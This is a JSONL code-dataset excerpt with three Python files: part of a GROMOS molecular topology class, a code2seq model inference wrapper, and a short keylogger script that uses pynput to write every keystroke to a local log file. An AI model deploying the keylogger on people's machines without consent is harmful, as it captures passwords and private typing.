atomI=dihdrl.IQ + atnmShift, \n                                        atomJ=dihdrl.JQ + atnmShift, \n                                        atomK=dihdrl.KQ + atnmShift, \n                                        atomL=dihdrl.LQ + atnmShift)\n        for dihdrl in top.IMPDIHEDRALH.content:\n            dihdrlType = top.IMPDIHEDRALTYPE.content[dihdrl.ICQH - 1]\n            retTop.add_new_torsiondihedral(CQ=dihdrlType.CQ, \n                                        Q0=dihdrlType.Q0, \n                                        atomI=dihdrl.IQH + atnmShift, \n                                        atomJ=dihdrl.JQH + atnmShift, \n                                        atomK=dihdrl.KQH + atnmShift, \n                                        atomL=dihdrl.LQH + atnmShift,\n                                        includesH=True)\n\n        # add SOLUTEMOLECULES\n        for solmol in top.SOLUTEMOLECULES.content[1:]:\n            retTop.add_new_SOLUTEMOLECULES(number=str(int(solmol[0]) + atnmShift))\n\n        # add TEMPERATUREGROUPS\n        for solmol in top.TEMPERATUREGROUPS.content[1:]:\n            retTop.add_new_TEMPERATUREGROUPS(number=str(int(solmol[0]) + atnmShift))\n\n        # add PRESSUREGROUPS\n        for solmol in top.PRESSUREGROUPS.content[1:]:\n            retTop.add_new_PRESSUREGROUPS(number=str(int(solmol[0]) + atnmShift))\n\n        return retTop\n\n    def read_file(self):\n        #Read blocks to string\n        data = parser.read_general_gromos_file(self._orig_file_path)\n\n        #translate the string subblocks\n        blocks = {}\n        for block_title in data:\n            #print(block_title)\n            self.add_block(blocktitle=block_title, content=data[block_title])\n            blocks.update({block_title: self.__getattribute__(block_title)})\n        return blocks\n\n    def make_ordered(self, orderList:list=None):\n        if orderList:\n            self._block_order = orderList\n        else:\n            self._block_order = [\"TITLE\", \"PHYSICALCONSTANTS\",\"TOPVERSION\",\"ATOMTYPENAME\",\"RESNAME\",\"SOLUTEATOM\",\"BONDSTRETCHTYPE\",\"BONDH\",\"BOND\",\"BONDANGLEBENDTYPE\",\"BONDANGLEH\",\"BONDANGLE\",\"IMPDIHEDRALTYPE\",\"IMPDIHEDRALH\",\"IMPDIHEDRAL\",\"TORSDIHEDRALTYPE\",\"DIHEDRALH\",\"DIHEDRAL\",\"CROSSDIHEDRALH\",\"CROSSDIHEDRAL\",\"LJPARAMETERS\",\"SOLUTEMOLECULES\",\"TEMPERATUREGROUPS\",\"PRESSUREGROUPS\",\"LJEXCEPTIONS\",\"SOLVENTATOM\",\"SOLVENTCONSTR\"]\n\n    def get_num_atomtypes(self) -> int:\n        if not hasattr(self, \"ATOMTYPENAME\"):\n            return 0\n        else:\n            return int(self.ATOMTYPENAME.content[0][0])\n\n    def add_new_atomtype(self, name:str, verbose=False):\n        if not hasattr(self, \"ATOMTYPENAME\"):\n            defaultContent=['0', 'Dummy']\n            self.add_block(blocktitle=\"ATOMTYPENAME\", content=defaultContent, verbose=verbose)\n            self.ATOMTYPENAME.content.append([name])\n            self.ATOMTYPENAME.content.remove(['Dummy'])\n        else:\n            if len(self.ATOMTYPENAME.content) < 1:\n                self.ATOMTYPENAME.content.append([\"0\"])\n            self.ATOMTYPENAME.content.append([name])\n        self.ATOMTYPENAME.content[0][0] = str(int(self.ATOMTYPENAME.content[0][0])+1)\n\n    def add_new_resname(self, name:str, verbose=False):\n        if not hasattr(self, \"RESNAME\"):\n            defaultContent=['0', 'Dummy']\n            self.add_block(blocktitle=\"RESNAME\", content=defaultContent, verbose=verbose)\n            self.RESNAME.content.append([name])\n            self.RESNAME.content.remove(['Dummy'])\n        else:\n            if len(self.RESNAME.content) < 1:\n                self.RESNAME.content.append([\"0\"])\n            self.RESNAME.content.append([name])\n        self.RESNAME.content[0][0] = str(int(self.RESNAME.content[0][0])+1)\n\n    def add_new_soluteatom(self, ATNM:int=0, MRES:int=0, PANM:str=\"\", IAC:int=0, MASS:float=0, CG:float=0, CGC:int=0, INE:list=[], INE14:list=[], verbose=False):\n        if not hasattr(self, \"SOLUTEATOM\"):\n            self.add_block(blocktitle=\"SOLUTEATOM\", content=[], verbose=verbose)\n            self.SOLUTEATOM.NRP = 0\n        # some auto set methods\n        if ATNM == 0:\n            ATNM = len(self.SOLUTEATOM.content) + 1\n        if MRES == 0:\n            if len(self.SOLUTEATOM.content) >= 1:\n                MRES = self.SOLUTEATOM.content[-1].MRES + 1\n            else:\n                MRES = 1\n        #create new entry\n        entry = blocks.soluteatom_type(ATNM=ATNM, MRES=MRES, PANM=PANM, IAC=IAC, MASS=MASS, CG=CG, CGC=CGC, INE=len(INE), INEvalues=INE, INE14=len(INE14), INE14values=INE14)\n        self.SOLUTEATOM.content.append(entry)\n        self.SOLUTEATOM.NRP += 1\n\n\n    def add_new_bond(self, k:float, b0:float, atomI:int, atomJ:int, includesH:bool = False, verbose=False):\n        #check if all classes are ready, if not create\n        if not hasattr(self, \"BONDSTRETCHTYPE\"):\n            self.add_block(blocktitle=\"BONDSTRETCHTYPE\", content=list(), verbose=verbose)\n        if includesH:\n            if not hasattr(self, \"BONDH\"):\n                self.add_block(blocktitle=\"BONDH\", content=list(), verbose=verbose)\n        else:\n            if not hasattr(self, \"BOND\"):\n                self.add_block(blocktitle=\"BOND\", content=list(), verbose=verbose)\n        \n        \n        # find the bondstretchtype number or create new bondstretchtype\n        # TODO: add quartic force (CB)\n        bond_type_number = 0\n        iterator = 1\n        quartic = k/(2*(b0**2))\n        newBondStretchType = blocks.bondstretchtype_type(CB=quartic, CHB=k, B0=b0)\n        for bond_type in self.BONDSTRETCHTYPE.content:\n            if bond_type.CHB == newBondStretchType.CHB and bond_type.B0 == newBondStretchType.B0:\n                break\n            else:\n                iterator += 1\n        bond_type_number = iterator\n        if iterator > len(self.BONDSTRETCHTYPE.content):#bond type was not found -> add new bondtype\n            self.BONDSTRETCHTYPE.content.append(newBondStretchType)\n            self.BONDSTRETCHTYPE.NBTY += 1\n\n        #create new bond TODO: maybe check if already exists. But I will asume smart users\n        newBond = blocks.top_bond_type(IB=atomI, JB=atomJ, ICB=bond_type_number)\n\n        #check if we are adding a bond to BOND or BONDH\n        if includesH:\n            self.BONDH.content.append(newBond)\n            self.BONDH.NBONH += 1\n        else:\n            self.BOND.content.append(newBond)\n            self.BOND.NBON += 1\n\n    def add_new_angle(self, k:float, kh:float, b0:float, atomI:int, atomJ:int, atomK:int, includesH:bool = False, verbose=False):\n        #check if all classes are ready, if not create\n        if not hasattr(self, \"BONDANGLEBENDTYPE\"):\n            self.add_block(blocktitle=\"BONDANGLEBENDTYPE\", content=[], verbose=verbose)\n        if includesH:\n            if not hasattr(self, \"BONDANGLEH\"):\n                self.add_block(blocktitle=\"BONDANGLEH\", content=[], verbose=verbose)\n        else:\n            if not hasattr(self, \"BONDANGLE\"):\n                self.add_block(blocktitle=\"BONDANGLE\", content=[], verbose=verbose)\n        \n        # find the BONDANGLEBENDTYPE number or create new BONDANGLEBENDTYPE\n        # TODO: add harmonic in the angle cosine force (CT)\n        angle_type_number = 0\n        iterator = 1\n        for angle_type in self.BONDANGLEBENDTYPE.content:\n            if angle_type.CB == k and angle_type.B0 == b0:\n                break\n            else:\n                iterator += 1\n        angle_type_number = iterator\n        if iterator > len(self.BONDANGLEBENDTYPE.content):#angle type was not found -> add new bondtype\n            newBONDANGLEBENDTYPE = blocks.bondstretchtype_type(CB=k, CHB=kh, B0=b0)\n            self.BONDANGLEBENDTYPE.content.append(newBONDANGLEBENDTYPE)\n            self.BONDANGLEBENDTYPE.NBTY += 1\n        \n        #create new angle TODO: maybe check if already exists. But I will asume smart users\n        newAngle = blocks.bondangle_type(IT=atomI, JT=atomJ, KT=atomK, ICT=angle_type_number)\n        #check if we are adding a bond to BONDANGLE or BONDANGLEH\n        if includesH:\n            self.BONDANGLEH.content.append(newAngle)\n            self.BONDANGLEH.NTHEH += 1\n        else:\n            self.BONDANGLE.content.append(newAngle)\n            self.BONDANGLE.NTHE += 1\n\n    def add_new_torsiondihedral(self, CP:float, PD:float, NP:int, atomI:int, atomJ:int, atomK:int, atomL:int, includesH:bool = False, verbose=False):\n        #check if all classes are ready, if not create\n        if not hasattr(self, \"TORSDIHEDRALTYPE\"):\n            self.add_block(blocktitle=\"TORSDIHEDRALTYPE\", content=[], verbose=verbose)\n        if includesH:\n            if not hasattr(self, \"DIHEDRALH\"):\n                self.add_block(blocktitle=\"DIHEDRALH\", content=[], verbose=verbose)\n        else:\n            if not hasattr(self, \"DIHEDRAL\"):\n                self.add_block(blocktitle=\"DIHEDRAL\", content=[], verbose=verbose)\n        \n        # find the TORSDIHEDRALTYPE number or create new TORSDIHEDRALTYPE\n        torsion_type_number = 0\n        iterator = 1\n        for torsion_type in self.TORSDIHEDRALTYPE.content:\n            if torsion_type.CP == CP and torsion_type.PD == PD and torsion_type.NP == NP:\n                break\n            else:\n                iterator += 1\n        torsion_type_number = iterator #found the torsion\n        if iterator > len(self.TORSDIHEDRALTYPE.content):#torsion type was not found -> add new bondtype\n            newTORSDIHEDRALTYPE = blocks.torsdihedraltype_type(CP=CP, PD=PD, NP=NP)\n            self.TORSDIHEDRALTYPE.content.append(newTORSDIHEDRALTYPE)\n            self.TORSDIHEDRALTYPE.NPTY += 1\n        \n        #check if we are adding a bond to DIHEDRAL or DIHEDRALH\n        if includesH:\n            self.DIHEDRALH.content.append(blocks.dihedralh_type(IPH=atomI, JPH=atomJ, KPH=atomK, LPH=atomL, ICPH=torsion_type_number))\n            self.DIHEDRALH.NPHIH += 1\n        else:\n            self.DIHEDRAL.content.append(blocks.top_dihedral_type(IP=atomI, JP=atomJ, KP=atomK, LP=atomL, ICP=torsion_type_number))\n            self.DIHEDRAL.NPHI += 1\n\n    \n    def add_new_impdihedral_type(self, CQ:float, Q0:float, verbose=False):\n        #check if all classes are ready, if not create\n        if not hasattr(self, \"IMPDIHEDRALTYPE\"):\n            self.add_block(blocktitle=\"IMPDIHEDRALTYPE\", content=[], verbose=verbose)\n        newIMPDIHEDRALTYPE = blocks.impdihedraltype_type(CQ=CQ, Q0=Q0)\n        self.IMPDIHEDRALTYPE.content.append(newIMPDIHEDRALTYPE)\n        self.IMPDIHEDRALTYPE.NQTY += 1\n\n\n    def add_new_impdihedral(self, CQ:float, Q0:float, atomI:int, atomJ:int, atomK:int, atomL:int, includesH:bool = False, verbose=False):\n        #check if all classes are ready, if not create\n        if not hasattr(self, \"IMPDIHEDRALTYPE\"):\n            self.add_block(blocktitle=\"IMPDIHEDRALTYPE\", content=[], verbose=verbose)\n        if includesH:\n            if not hasattr(self, \"IMPDIHEDRALH\"):\n                self.add_block(blocktitle=\"IMPDIHEDRALH\", content=[], verbose=verbose)\n        else:\n            if not hasattr(self, \"IMPDIHEDRAL\"):\n                self.add_block(blocktitle=\"IMPDIHEDRAL\", content=[], verbose=verbose)\n        \n        # find the IMPDIHEDRALTYPE number or create new IMPDIHEDRALTYPE\n        impdihedral_type_number = 1\n        iterator = 1\n        for imp_type in self.IMPDIHEDRALTYPE.content:\n            if imp_type.CQ == CQ and imp_type.Q0 == Q0:\n                break\n            else:\n                iterator += 1\n            impdihedral_type_number = iterator #found the torsion\n        if iterator > len(self.IMPDIHEDRALTYPE.content):#torsion type was not found -> add new bondtype\n            self.add_new_impdihedral_type(CQ=CQ, Q0=Q0)\n        \n        #check if we are adding a bond to IMPDIHEDRALH or IMPDIHEDRALH\n        if includesH:\n            self.IMPDIHEDRALH.content.append(blocks.impdihedralh_type(IQH=atomI, JQH=atomJ, KQH=atomK, LQH=atomL, ICQH=impdihedral_type_number))\n            self.IMPDIHEDRALH.NQHIH += 1\n        else:\n            self.IMPDIHEDRAL.content.append(blocks.impdihedral_type(IQ=atomI, JQ=atomJ, KQ=atomK, LQ=atomL, ICQ=impdihedral_type_number))\n            self.IMPDIHEDRAL.NQHI += 1\n\n\n    #TODO: add implementation\n    def add_new_crossdihedral(self, verbose=False):\n        raise NotImplementedError(\"Who needs this???? Could you plox implement it. UwU\")\n\n    def add_new_LJparameter(self, C6:float, C12:float, CS6:float=0, CS12:float=0, combination_rule:str=\"geometric\", verbose=False, AddATOMTYPENAME:str=None, lowerBound:float=1e-100):\n        if not hasattr(self, \"LJPARAMETERS\"):\n            self.add_block(blocktitle=\"LJPARAMETERS\", content=[], verbose=verbose)\n            self.LJPARAMETERS.NRATT2 = 0\n        #safety\n        if C6 < lowerBound:\n            C6 = lowerBound\n        if C12 < lowerBound:\n            C12 = lowerBound\n        if CS6 < lowerBound:\n            CS6 = lowerBound\n        if CS12 < lowerBound:\n            CS12 = lowerBound\n        # add LJ parameter for all existing combinations\n        num=0\n        nratt=int((math.sqrt(8*self.LJPARAMETERS.NRATT2+1)-1)/2)\n        for i in range(nratt):\n            if combination_rule == \"geometric\":\n                c6 = math.sqrt(float(C6 * self.LJPARAMETERS.content[num].C6))\n                c12 = math.sqrt(float(C12 * self.LJPARAMETERS.content[num].C12))\n                cs6 = math.sqrt(float(CS6 * self.LJPARAMETERS.content[num].CS6))\n                cs12 = math.sqrt(float(CS12 * self.LJPARAMETERS.content[num].CS12))\n            else:\n                raise NotImplementedError(\"Error in add_new_LJparameter: desired combination rule not implemented\")\n            add = blocks.ljparameters_type(IAC=i+1, JAC=nratt+1, C6=c6, C12=c12, CS12=cs12, CS6=cs6)\n            self.LJPARAMETERS.append(add)\n            num += i+2\n        #add new LJ paramter to self\n        add = blocks.ljparameters_type(IAC=nratt+1, JAC=nratt+1, C6=C6, C12=C12, CS12=CS12, CS6=CS6)\n        self.LJPARAMETERS.append(add)\n        self.LJPARAMETERS.NRATT2 += nratt + 1\n        \n        if AddATOMTYPENAME != None:\n            if not hasattr(self, \"ATOMTYPENAME\"):\n                self.add_block(blocktitle=\"ATOMTYPENAME\", content=[], verbose=verbose)\n                self.LJPARAMETERS.NRATT = 0\n            self.add_new_atomtype(AddATOMTYPENAME)\n            if(int(self.ATOMTYPENAME.content[0][0]) != self.LJPARAMETERS.content[-1].IAC):\n                raise IndexError(\"Missmatch between number of ATOMTYPNAMEs and LJPARAMETERS\")\n\n\n    def find_LJparameterNumber(self, C12:float, C6:float) -> int:\n        if not hasattr(self, \"LJPARAMETERS\"):\n            return 0\n        elif self.LJPARAMETERS.NRATT2 < 1:\n            return 0\n        else:\n            for lj in self.LJPARAMETERS.content:\n                if C12 == lj.C12 and C6 == lj.C6:\n                    return lj.IAC\n            return 0 # LJ parameter not found\n\n    def get_LJparameter_from_IAC(self, IAC:int):\n        if not hasattr(self, \"LJPARAMETERS\"):\n            raise Exception(\"no LJPARAMETERS block to search in\")\n        if (IAC**2 - 1) > self.LJPARAMETERS.NRATT2:\n            raise Exception(\"IAC key is too larger than IACs in LJ block\")\n        return self.LJPARAMETERS.content[(IAC**2 -1)]\n\n\n    def add_new_atom(self, ATNM:int=0, MRES:int=0, PANM:str='_', IAC:int=1, MASS:float=1.0, CG:int=0, CGC:int=1, INE:list=[], INE14:list=[], verbose=False, C6:float=None, C12:float=None, CS6:float=0, CS12:float=0, IACname:str=None):\n        if IACname is None:\n            IACname = PANM\n        \n        # Find IAC and (if needed) add a new LJ Parameter\n        if C6 != None or C12 != None:           #need to find PANM and IAC\n            if hasattr(self, \"LJPARAMETERS\"):\n                IAC = self.find_LJparameterNumber(C6=C6, C12=C12)\n                if IAC == 0: #IAC not found -> add new LJ parameter\n                    self.add_new_LJparameter(C6=C6, C12=C12, CS6=CS6, CS12=CS12, verbose=verbose, AddATOMTYPENAME=IACname)\n                    IAC = self.LJPARAMETERS.content[-1].IAC\n                    if verbose: print(\"New Atomtype with LJ parameters added. IAC found as: \" + str(IAC))\n            else:\n                self.add_new_LJparameter(C6=C6, C12=C12, CS6=CS6, CS12=CS12, verbose=verbose, AddATOMTYPENAME=IACname)\n                IAC = 1\n\n        self.add_new_soluteatom(ATNM=ATNM, MRES=MRES, PANM=PANM, IAC=IAC, MASS=MASS, CG=CG, CGC=CGC, INE=INE, INE14=INE14)\n\n    def add_new_CONSTRAINT(self, IC:int, JC:int, ICC:float, verbose=False):\n        \"\"\"\n        adds a CONSTRAINT entry to the topology\n\n        Parameters\n        ----------\n        IC : int\n            atom index I\n        JC : int\n            atom index J\n        ICC : float\n            constraint length \n        verbose : bool, optional\n        \"\"\"\n        if not hasattr(self, \"CONSTRAINT\"):\n            self.add_block(blocktitle=\"CONSTRAINT\", content=[], verbose=verbose)\n            self.CONSTRAINT.NCON = 0\n        if not hasattr(self, \"BONDSTRETCHTYPE\"):\n            self.add_block(blocktitle=\"BONDSTRETCHTYPE\", content=list(), verbose=verbose)\n        \n        # find the bondstretchtype number or create new bondstretchtype\n        bond_type_number = 0\n        iterator = 1\n        newBondStretchType = blocks.bondstretchtype_type(CB=1, CHB=1, B0=ICC)\n        for bond_type in self.BONDSTRETCHTYPE.content:\n            if bond_type.B0 == newBondStretchType.B0:\n                break\n            else:\n                iterator += 1\n        bond_type_number = iterator\n        if iterator > len(self.BONDSTRETCHTYPE.content):#bond type was not found -> add new bondtype\n            self.BONDSTRETCHTYPE.content.append(newBondStretchType)\n            self.BONDSTRETCHTYPE.NBTY += 1\n        self.CONSTRAINT.content.append(blocks.constraint_type(IC=IC, JC=JC, ICC=bond_type_number))\n        self.CONSTRAINT.NCON += 1\n\n    def add_new_TEMPERATUREGROUPS(self, number:str, verbose=False):\n        if not hasattr(self, \"TEMPERATUREGROUPS\"):\n            defaultContent=['0', 'Dummy']\n            self.add_block(blocktitle=\"TEMPERATUREGROUPS\", content=defaultContent, verbose=verbose)\n            self.TEMPERATUREGROUPS.content.append([number])\n            self.TEMPERATUREGROUPS.content.remove(['Dummy'])\n        else:\n            if len(self.TEMPERATUREGROUPS.content) < 1:\n                self.TEMPERATUREGROUPS.content.append([\"0\"])\n            self.TEMPERATUREGROUPS.content.append([number])\n        self.TEMPERATUREGROUPS.content[0][0] = str(int(self.TEMPERATUREGROUPS.content[0][0])+1)\n\n    def add_new_SOLUTEMOLECULES(self, number:str, verbose=False):\n        if not hasattr(self, \"SOLUTEMOLECULES\"):\n            defaultContent=['0', 'Dummy']\n            self.add_block(blocktitle=\"SOLUTEMOLECULES\", content=defaultContent, verbose=verbose)\n            self.SOLUTEMOLECULES.content.append([number])\n            self.SOLUTEMOLECULES.content.remove(['Dummy'])\n        else:\n            if len(self.SOLUTEMOLECULES.content) < 1:\n                self.SOLUTEMOLECULES.content.append([\"0\"])\n            self.SOLUTEMOLECULES.content.append([number])\n        self.SOLUTEMOLECULES.content[0][0] = str(int(self.SOLUTEMOLECULES.content[0][0])+1)\n\n    def add_new_PRESSUREGROUPS(self, number:str, verbose=False):\n        if not hasattr(self, \"PRESSUREGROUPS\"):\n            defaultContent=['0', 'Dummy']\n            self.add_block(blocktitle=\"PRESSUREGROUPS\", content=defaultContent, verbose=verbose)\n            self.PRESSUREGROUPS.content.append([number])\n            self.PRESSUREGROUPS.content.remove(['Dummy'])\n        else:\n            if len(self.PRESSUREGROUPS.content) < 1:\n                self.PRESSUREGROUPS.content.append([\"0\"])\n            self.PRESSUREGROUPS.content.append([number])\n        self.PRESSUREGROUPS.content[0][0] = str(int(self.PRESSUREGROUPS.content[0][0])+1)\n\n    def get_mass(self) -> float:\n        \"\"\"\n        Calculates the total mass of the solute molecule\n\n        Returns\n        -------\n        float\n            total mass in a.u.\n        \"\"\"\n        mass = 0\n        if hasattr(self, \"SOLUTEATOM\"):\n            for i in self.SOLUTEATOM.content:\n                mass += i.MASS\n        return mass\n        \n\n        \n\n","sub_path":"pygromos/files/topology/top.py","file_name":"top.py","file_ext":"py","file_size_in_byte":28748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"583230350","text":"import os\n\nfrom torch.utils import data\nfrom pycode2seq.inference.parsing.utils import read_astminer\nfrom typing import List, Tuple, Dict\n\nimport torch\nimport numpy as np\n\nfrom code2seq.dataset import PathContextBatch, PathContextSample, PathContextDataset\nfrom code2seq.dataset.data_classes import ContextPart, FROM_TOKEN, PATH_NODES, TO_TOKEN\nfrom code2seq.model import Code2Seq\nfrom code2seq.utils.converting import strings_to_wrapped_numpy\nfrom code2seq.utils.metrics import PredictionStatistic\nfrom code2seq.utils.vocabulary import Vocabulary\nfrom omegaconf import OmegaConf\nfrom torch import Tensor\n\nfrom pycode2seq.inference.language import Language\nfrom pycode2seq.inference.model.labels import LabeledData, extract_labels_with_paths\nfrom pycode2seq.inference.model.loader import ModelLoader\nfrom pycode2seq.inference.paths.extracting import ExtractingParams\n\n\nfrom code2seq import utils\nimport sys\nsys.modules[\"utils\"] = utils\n\n\nclass Model:\n    models_gdrive_file_ids = {\n        \"kt_java\": \"1v8GFPraNFLmiQxXBZAK3K9CIyhIADp-t\",\n        \"java\": \"1v8GFPraNFLmiQxXBZAK3K9CIyhIADp-t\",\n        \"kt\": \"1v8GFPraNFLmiQxXBZAK3K9CIyhIADp-t\",\n        \"kotlin\": \"1v8GFPraNFLmiQxXBZAK3K9CIyhIADp-t\"\n    }\n\n    multi_models = [\"kt_java\"]\n\n    @staticmethod\n    def load(name: str) -> 'Model':\n        save_path = ModelLoader.model_path(name)\n        os.makedirs(save_path, exist_ok=True)\n\n        model_path = os.path.join(save_path, \"model\")\n        config_path = os.path.join(model_path, \"code2seq.yaml\")\n        vocabulary_path = os.path.join(model_path, \"vocabulary.pkl\")\n        checkpoint_path = os.path.join(model_path, \"model.ckpt\")\n\n        required_files = [config_path, vocabulary_path, checkpoint_path]\n\n        if not all(os.path.exists(file) for file in required_files):\n            print(\"Downloading model\")\n            ModelLoader.load(name, Model.models_gdrive_file_ids[name])\n\n        return Model(config_path, vocabulary_path, checkpoint_path, ExtractingParams(8, 3, 200), name)\n\n    def __init__(self, config_path: str, vocabulary_path: str, checkpoint_path: str,\n                 extracting_params: ExtractingParams, model_name: str) -> None:\n        self.config = OmegaConf.load(config_path)\n        self.vocabulary = Vocabulary.load_vocabulary(vocabulary_path)\n        self.model = Code2Seq(self.config, self.vocabulary)\n\n        self.model.load_state_dict(torch.load(checkpoint_path, map_location=torch.device('cpu'))[\"state_dict\"])\n\n        self.device = torch.device(\"cpu\")\n        self.to(self.device)\n        self.model.eval()\n\n        self.extracting_params = extracting_params\n\n        self.model_name = model_name\n        self.default_lang = None if model_name in Model.multi_models else model_name\n\n    def to(self, device: torch.device):\n        self.device = device\n        self.model.to(self.device)\n\n    def _prepare_batches(self, file_path: str, language: Language) -> Tuple[List[PathContextBatch], List[str]]:\n        root = language.parse(file_path)\n        data = extract_labels_with_paths(root, self.extracting_params, language.split_on_methods)\n        method_names = [d.method_name for d in data]\n        batches = [PathContextBatch([self._labeled_data_to_sample(method, 200, True)]) for method in data]\n\n        for batch in batches:\n            batch.move_to_device(self.device)\n\n        return batches, method_names\n\n    def methods_embeddings(self, file_path: str, language: str = None) -> Dict[str, Tensor]:\n        language = language or self.default_lang\n        if language is None:\n            language = file_path.split('.')[-1]\n        batches, method_names = self._prepare_batches(file_path, Language.by_name(language))\n\n        with torch.no_grad():\n            embeddings = {}\n            for batch, method_name in zip(batches, method_names):\n                encoded_paths = self.model.encoder(batch.contexts)\n\n                # [n layers; batch size; decoder size]\n                coded_batch = [ctx_batch.mean(0).unsqueeze(0) for ctx_batch in\n                               encoded_paths.split(batch.contexts_per_label)]\n                initial_state = (torch.cat(coded_batch).unsqueeze(0))\n                embeddings[method_name] = initial_state.squeeze()\n            return embeddings\n\n    def run_model_on_astminer_csv(self, data_path: str, language: str) -> List[Tensor]:\n        # data_path -- path to folder with generated csvs\n        data = read_astminer(data_path)\n        batches = [PathContextBatch([self._string_to_sample(method, 200, True)]) for method in data]\n\n        for batch in batches:\n            batch.move_to_device(self.device)\n\n        with torch.no_grad():\n            return [self.model(batch.contexts, batch.contexts_per_label, batch.labels.shape[0]) for batch in batches]\n\n    def run_model_on_file(self, file_path: str, language: str) -> List[Tensor]:\n        batches, method_names = self._prepare_batches(file_path, Language.by_name(language))\n\n        with torch.no_grad():\n            return [self.model(batch.contexts, batch.contexts_per_label, batch.labels.shape[0]) for batch in batches]\n\n    def _run_model_on_file_with_metrics(self, file_path: str, language: str):\n        batches, method_names = self._prepare_batches(file_path, Language.by_name(language))\n\n        results = []\n\n        with torch.no_grad():\n            for batch in batches:\n                logits = self.model(batch.contexts, batch.contexts_per_label, batch.labels.shape[0], batch.labels)\n                prediction = logits.argmax(-1)\n\n                statistic = PredictionStatistic(True, self.model._label_pad_id, self.model._metric_skip_tokens)\n                batch_metric = statistic.update_statistic(batch.labels, prediction)\n\n                results.append(batch_metric)\n\n        return results\n\n    def _string_to_sample(self, data: str, max_contexts: int, random_context: bool) -> PathContextSample:\n        str_label, *str_contexts = data.split()\n        if str_label == \"\" or len(str_contexts) == 0:\n            print(f\"Bad sample {data}\")\n            return None\n\n        # choose random paths\n        n_contexts = min(len(str_contexts), max_contexts)\n        context_indexes = np.arange(n_contexts)\n        if random_context:\n            np.random.shuffle(context_indexes)\n        \n        parameters = self.config.dataset.target\n\n        # convert string label to wrapped numpy array\n        wrapped_label = strings_to_wrapped_numpy(\n            [str_label],\n            self.vocabulary.label_to_id,\n            parameters.is_splitted,\n            parameters.max_parts,\n            parameters.is_wrapped,\n        )\n\n        context_parts = [\n            ContextPart(FROM_TOKEN, self.vocabulary.token_to_id, self.config.dataset.token),\n            ContextPart(PATH_NODES, self.vocabulary.node_to_id, self.config.dataset.path),\n            ContextPart(TO_TOKEN, self.vocabulary.token_to_id, self.config.dataset.token),\n        ]\n\n        # convert each context to list of ints and then wrap into numpy array\n        splitted_contexts = [PathContextDataset._split_context(str_contexts[i]) for i in context_indexes]\n        contexts = {}\n        for _cp in context_parts:\n            str_values = [_sc[_cp.name] for _sc in splitted_contexts]\n            contexts[_cp.name] = strings_to_wrapped_numpy(\n                str_values, _cp.to_id, _cp.parameters.is_splitted, _cp.parameters.max_parts, _cp.parameters.is_wrapped\n            )\n\n        return PathContextSample(contexts=contexts, label=wrapped_label, n_contexts=n_contexts) \n    \n    def _labeled_data_to_sample(self, data: LabeledData, max_contexts: int, random_context: bool) -> PathContextSample:\n        return self._string_to_sample(str(data), max_contexts, random_context)\n\n    def _get_label_by_id(self, id: int) -> str:\n        return list(self.vocabulary.label_to_id.keys())[list(self.vocabulary.label_to_id.values()).index(id)]\n\n    def prediction_to_text(self, prediction: Tensor) -> str:\n        ids = prediction.argmax(-1)\n        return \"|\".join([self._get_label_by_id(id[0]) for id in ids])\n","sub_path":"pycode2seq/inference/model/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":8039,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}
+{"seq_id":"193020179","text":"import pynput\nfrom pynput.keyboard import Key, Listener\n\ncount = 0\nkeys = []\n\ndef on_press(key):\n    global keys, count\n    keys.append(key)\n    count += 1\n    print(f'{key} is pressed')\n    if count >= 10:\n        count = 0\n        write_file(keys)\n        keys = []\n\ndef write_file(keys):\n    with open ('log.txt', 'a+' ) as f:\n        for key in keys:\n            no_quotes_key = str(key).replace(\"'\",\"\")\n            if no_quotes_key.find(\"space\") > 0:\n                f.write(' ')\n            elif no_quotes_key.find(\"Key\") == -1:\n                f.write(no_quotes_key)\n            f.write('\\n')\n\ndef on_release(key):\n    global keys\n    if key == Key.esc:\n        write_file(keys)\n        return False\n\nwith Listener(on_press=on_press, on_release=on_release) as listener:\n    listener.join()\n","sub_path":"Python/key_logger/key_logger.py","file_name":"key_logger.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"28"}